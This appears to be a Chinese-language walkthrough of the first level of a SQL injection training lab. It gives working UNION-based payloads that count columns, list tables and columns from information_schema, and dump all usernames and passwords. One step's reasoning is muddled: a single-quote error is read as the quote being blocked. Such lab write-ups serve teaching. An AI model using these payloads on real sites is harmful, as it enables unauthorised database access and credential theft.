在搭建好环境后,我们先来到第一关
根据提示,它要我们输入ID作为数值参数,另外这是通过URL的GET类型注入,所以我们先输入?id=1 看看它正常的回显
这样我们就得到了它的一个正常的回显,那我们就开始尝试字符型注入,比如单引号,双引号等等
单引号它报错了,说明屏蔽了单引号
双引号回显正常
然后输入?id=1' or '1'='1 #
我们就可以知道这是可以通过单引号闭合进行注入,那我们下一步就要知道它到底有几列
我们可以输入?id=1' order by 3 #,这个时候回显正常,说明列数大于3,这个数字可以自己改变,当到4就报错了
说明一共有三列,我们可以用联合查询来看它回显有效的是那几列,因为有的列不会回显出来,对于我们也没有什么用处
我们输入?id=-1' union select 1,2,3 # 我们让id等于-1是因为它在表中是不存在的,所以不会执行且显示出来,直接执行我们后面的语句,这样我们就知道了2,3是可以用的,那么接下来我们就要查询它目前所在的库,(mySQL的版本号也可以查询,有些时候会用到这些漏洞,这里暂时用不上)
我们将2改为database(),得到了目前所在的数据库是'security',接下来就要看库里面的表,然后我们注意到这只能显示一行出来,所以我们要用到group_concat(),把表全部输出出来,然后我们要知道我们的数据库表名存在information_schema这个里面
输入?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' # 这样我们就知道里面的表名,然后过滤我们不需要的,我们只需要users这张表,然后再看users里面的列
输入?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' # 然后我们看到里面有username和password,把里面内容得到就大功告成了
输入?id=-1' union select 1,group_concat(username),group_concat(password) from security.users #